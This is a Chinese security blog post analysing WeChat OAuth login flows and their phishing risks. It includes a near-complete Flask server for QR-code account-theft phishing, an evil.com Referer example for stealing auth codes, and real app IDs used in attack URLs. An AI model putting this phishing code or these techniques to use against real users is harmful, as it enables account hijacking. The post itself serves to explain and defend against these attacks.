谈谈微信授权下的安全风险
文章最后更新时间为:2023年11月23日 11:09:38
随着微信成为国名级应用,很多公司的产品都实现了微信授权登录的入口,app、小程序、网页端也都可以接入微信授权,复杂的流程中或多或少存在着一些可以利用的安全风险,下面简单总结一下微信授权相关的安全风险。
1. 授权流程
首先来看下授权流程,微信授权的场景比较多,涉及app、网页、小程序、公众号等,只有先了解授权原理和过程,才能理解安全风险。
1.1 app授权
app授权这里就用android来举例,其官方文档位于https://developers.weixin.qq.com/doc/oplatform/Mobile_App/Resource_Center_Homepage.html,接入流程如下:
微信官方提供了android的sdk可以直接调用:
{
// send oauth request
Final SendAuth.Req req = new SendAuth.Req();
req.scope = "snsapi_userinfo"; // 只能填 snsapi_userinfo
req.state = "wechat_sdk_demo_test";
api.sendReq(req);
}
- 第三方app调用sdk发起微信授权申请,拉起微信app并且进入授权登录页面
- 用户点击同意登录后,微信会拉起第三方app,传递code参数给第三方app
- 第三方app拿到code参数后,通过参数换access_token或者别的登录态凭证
其中微信拉起第三方app的时候是通过拉起特定的activity来实现的,activity的命名规则统一为包名.wxapi.WXEntryActivity
,比如com.xxx.xxx.wxapi.WXEntryActivity
,微信拉起第三方app时,传递的参数为Resp
类型,code在这个类的_wxapi_sendauth_resp_token
字段里:
1.2 网页授权
网页授权文档为:https://developers.weixin.qq.com/doc/oplatform/Website_App/WeChat_Login/Wechat_Login.html
官方文档的流程图和app授权一致,但是接入方式有所不同,总结下来主要是两个步骤:
- 获取code
- 通过code换access_token
下面以1号店为例,来演示如何实现微信授权网页登录
- 用户点击登录后,跳转到https://open.weixin.qq.com/connect/qrconnect?appid=wxbdc5610cc59c1631&redirect_uri=https://passport.yhd.com/wechat/callback.do&scope=snsapi_login,其中appid为应用唯一标识,redirect_uri自定义,但是需要符合域名白名单内,scope填写snsapi_login即可。
- 网页会通过xhr不断轮训结果,识别用户是否扫描&授权,如下图,408表示等待扫码,404表示已经扫码等待授权,405表示已授权
- 轮训结果返回405,拿到code参数,将会重定向到redirect_uri的网址上,并且带上code和state参数
redirect_uri?code=CODE&state=STATE
- code换access_token是在网站后台实现的,就不演示了
1.3 小程序授权
小程序授权和网页授权差不多,文档https://developers.weixin.qq.com/miniprogram/dev/framework/open-ability/login.html,放一下经典的步骤:
其实主要需要理解的也就两步:
- 微信小程序客户端使用wx.login拿到code参数,并将这个参数传递到后端
- 后端携带code参数,访问微信服务器,拿到openid,然后返回给客户端登录态
这里的wx.login是走的微信自定义的协议,所以无法通过http抓包拿到,但是可以通过hook拿到,这也是很多微信hook框架提供的主要功能
2. 安全风险
微信授权本身采用的是oauth2协议,其没有直接的安全风险,但是如果在使用过程中配置不当或者使用不当,则会带来一定的钓鱼风险。
2.1 app微信授权登录转成扫码登录
这个其实不算风险,但是也是一个可以利用起来的环节,这个问题其实最常见的需求是游戏app,用王者荣耀举例,王者荣耀只能通过微信或者qq登录,正常情况下必须要安装登录微信才能授权王者,对于有两个手机或者借号的情况比较麻烦,总不可能把微信密码告诉别人。这个时候有个利用方式,就是将常规的授权登录转成扫码登录,其原理步骤如下:
利用微信扫码的方式拿到微信code(这一步和微信网页授权的原理很类似)
- 拿到app对应的appid和bundleid,appid可以通过静态分析的方式拿到,在代码中搜索
WXAPIFactory.createWXAPI
即可,bundleid一般就是packagename - 访问https://open.weixin.qq.com/connect/app/qrconnect?appid=xxx&bundleid=xxx&scope=snsapi_base,snsapi_userinfo,snsapi_friend,snsapi_message&state=weixin,拿到二维码和对应的uuid,比如王者荣耀对应的url为https://open.weixin.qq.com/connect/app/qrconnect?appid=wx95a3a4d7c627e07d&bundleid=com.tencent.smoba&scope=snsapi_base,snsapi_userinfo,snsapi_friend,snsapi_message&state=weixin
- 通过轮训的方式拿到code(参考网页授权的轮训原理)
- 拿到app对应的appid和bundleid,appid可以通过静态分析的方式拿到,在代码中搜索
- 主动调用目标应用的activity,也就是
com.xxx.xxx.wxapi.WXEntryActivity
,将bundle.putString("_wxapi_sendauth_resp_token", code);
参数传递在intent中。
详细信息可以参考 https://github.com/Willh92/GameWxQRlogin
2.2 利用app登录进行扫码盗号
这个和2.1中扫码登录app的原理类似,当我们拿到code参数之后,我们只需要将code发送给服务端即可拿到cookie,所以盗号的难点也就是拿到code参数,可以通过下面的步骤来进行钓鱼盗号:
- 实现一个webserver,当有人访问时,随机生成一个登录二维码,展示到页面
- 欺骗受害者访问webserver,并扫码登录
- 用户扫码授权后,后台拿到code,并通过协议的方式发送登录包,拿到cookie
欺骗受害者可以通过很多方式,比如伪装成扫码领任务或者扫码助力。下面是一些关键代码:
from flask import Flask,request,redirect
from log import log
import re
import time
from dache import get_uuid,get_code,get_token
from concurrent.futures import ThreadPoolExecutor
import requests
from bs4 import BeautifulSoup
app = Flask(__name__)
executor = ThreadPoolExecutor()
# 生成uuid和二维码链接
def get_uuid() -> tuple:
url = "https://open.weixin.qq.com/connect/app/qrconnect?appid=xxx&bundleid=com.xx.xx&scope=snsapi_userinfo"
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; zh-cn; GT-S5660 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MicroMessenger/4.5.255'
}
r = requests.get(url, headers=headers)
soup = BeautifulSoup(r.text, "lxml")
code_url = soup.find('img', attrs={'class': "auth_qrcode"})['src']
uuid = code_url.split("/")[-1]
return uuid, code_url
# 通过uuid拿微信code
def get_code(uuid: str) -> tuple:
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; zh-cn; GT-S5660 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MicroMessenger/4.5.255'
}
wx_errcode = ""
wx_redirecturl = ""
wx_nickname = ""
wx_code = ""
for _ in range(300):
timestamp = int(round(time.time() * 1000))
url = f"https://long.open.weixin.qq.com/connect/l/qrconnect?uuid={uuid}&f=url&_={timestamp}"
response = requests.request("GET", url, headers=headers)
response.encoding = 'utf-8'
wx_errcode = re.findall("window.wx_errcode=(.*?);", response.text)[0]
wx_redirecturl = re.findall(
"window.wx_redirecturl='(.*?)';", response.text)[0]
wx_nickname = re.findall(
"window.wx_nickname='(.*?)';", response.text)[0]
log.info(
f"wx_errcode:{wx_errcode}\twx_redirecturl:{wx_redirecturl}\twx_nickname:{wx_nickname}")
if wx_errcode == "408":
log.info(f"uuid:{uuid}等待扫码")
elif wx_errcode == "405":
log.info(f"uuid:{uuid}成功扫码并确认")
wx_code = re.findall("code=(.*?)&", wx_redirecturl)[0]
break
elif wx_errcode == "404":
log.info(f"uuid:{uuid}成功扫码,等待确认")
elif wx_errcode == "402":
log.info(f"uuid:{uuid}二维码过期")
break
return wx_errcode, wx_redirecturl, wx_nickname, wx_code
# 微信code换token
def get_token(wx_code: str) -> dict:
pass
def run(ip,uuid):
wx_errcode, wx_redirecturl, wx_nickname, wx_code = get_code(uuid) # wxd8bd490776fa84a2://oauth?code=0216tvml2DUFba43rXml2peJrT26tvmx&state=
log.info(f"{ip} {uuid}返回微信code为{wx_redirecturl}")
if wx_redirecturl != "":
log.info(f"{ip} {uuid} 微信昵称为:{wx_nickname}")
data = get_token(wx_code)
log.info(f"{ip} {uuid} {wx_code}:登录成功")
@app.route("/")
def hello_world():
ip = request.environ.get('HTTP_X_REAL_IP', request.remote_addr)
log.info(f"{ip} 接收到请求")
uuid, code_url = get_uuid()
log.info(f"{ip} 得到uuid:{uuid}, code_url:{code_url}")
executor.submit(run, ip, uuid)
return redirect(code_url, code=302)
if __name__=="__main__":
app.run(host="0.0.0.0",port=80, debug=False)
2.3 redirect_uri 校验不严格导致钓鱼
在网页授权登录的过程中,以下面的链接举例子https://open.weixin.qq.com/connect/qrconnect?appid=wxbdc5610cc59c1631&redirect_uri=https://passport.yhd.com/wechat/callback.do&scope=snsapi_login,用户扫码登录成功后,会把登录凭证code传递给回调地址redirect_uri,如下所示:
https://passport.yhd.com/wechat/callback.do?code=CODE&state=STATE
这个redirect_uri这个值是我们可控的,但是微信会限制redirect_uri的域名,如果a.com替换成b.com会显示redirect_uri 参数错误,但是有时候如果配置了*.a.com,我们可以替换成其他的子域,如果子域下面存在问题,则会出现code盗取的情况,比如下面的情况:
假设某网站对redirect_uri的域名限制为*.aaa.com,在b.aaa.com域名下发现一个论坛,论坛帖子得回复可以插入第三方的图片,将这两点结合起来就可以通过referer来窃取code。
登录成功后会带着code访问帖子:
http://b.aaa.com/tiezi/123456&code=xxxxxxxxx
而帖子中又有攻击者插入的第三方图片,在加载第三方图片的时候,就把code传输出去了,完成code窃取:
GET http://www.evil.com/test.jpg
Referer: http://b.aaa.com/tiezi/123456&code=xxxxxxxxx
攻击者拿到code和state之后,即可登录受害者的账号。
2.4 关注公众号登录环节的钓鱼风险
「关注公众号登录」指的是在 PC 网站上生成微信公众号的二维码,用户使用微信 APP 扫码,关注公众号之后实现自动登录的过程。使用「关注公众号登录」可以快速为公众号引流,提升品牌粘性,但是在这个环节也存在一些安全风险。
下面先看一下实现原理,官方文档在https://developers.weixin.qq.com/doc/offiaccount/Account_Management/Generating_a_Parametric_QR_Code.html,
从开发的角度看,过程可以总结为下面几个步骤:
- 网站后端请求微信服务器生成access_token,这个access_token是可以持续用的,做过微信开发的应该比较熟悉
用户打开网页登录页面,这个过程也就是网页前端向网页后端请求登录二维码的过程
- 后端接收到前端请求后,去请求微信服务器,拿到ticket,返回给前端
- 前端拿到ticket后,去请求微信服务器拿到二维码图片,显示在页面上
- 用户扫码后,关注公众号后,微信服务器会推送结果给网站后端,于是网站后端可以知道成功扫码
- 之后前端不断轮训网页后端,查看用户是否扫码,如果扫码后,后端会直接返回set-cookie给前端,登录完成在
上述过程在用户扫码时,是这么说的:
- 如果用户还未关注公众号,则用户可以关注公众号,关注后微信会将带场景值关注事件推送给开发者。
- 如果用户已经关注公众号,在用户扫描后会自动进入会话,微信也会将带场景值扫描事件推送给开发者。
这样就带来一个问题,如果用户已经关注公众号了,那么伪装一个二维码发给该用户扫描,则用户扫描后,无需二次确认按钮,会直接登录。
作弊流程如下:
- 攻击者去请求某网站登录url生成ticket
- 攻击者根据ticket去请求微信服务器生成二维码
- 将二维码伪装一下,发给受害者
- 攻击者不断轮训网站后端,等待受害者扫码后,即可拿到cookie,即成功获取登录态
上面的124步都可以通过协议包装成钓鱼网站实现,用户扫码后即使知道被盗号,也无能为力了
2.5 微信code滥用问题
不管是移动app、h5网页还是微信小程序,涉及到微信授权的部分最关键的就是code参数,后端拿到code后,可以换到openid,openid又能够标识唯一微信,所以对于很多应用来说,拿到了code,就相当于拿到了微信。
而微信授权早已经被黑产做成了产业链,其中主要的功能就是提供各大应用的微信code,所以即使没有微信号,也可以批量获取code,下面是一些相关app的截图:
所以在使用微信授权时,不要只依靠code来标识用户,最好是同步获取手机号,再传输过程中采用加密传输和签名校验,增加攻击成本,还可以结合微信对openid的风险评级来做相应的二次验证,官方文档在:https://developers.weixin.qq.com/minigame/dev/guide/open-ability/security.html
第2.5段,“各大应用的微信code”,对这个比较感兴趣,你贴图的出处可以私我一下吗。
另外,对博主的博客前端页面感兴趣,非常好看,很喜欢,请问前端是自己写的吗?有开源不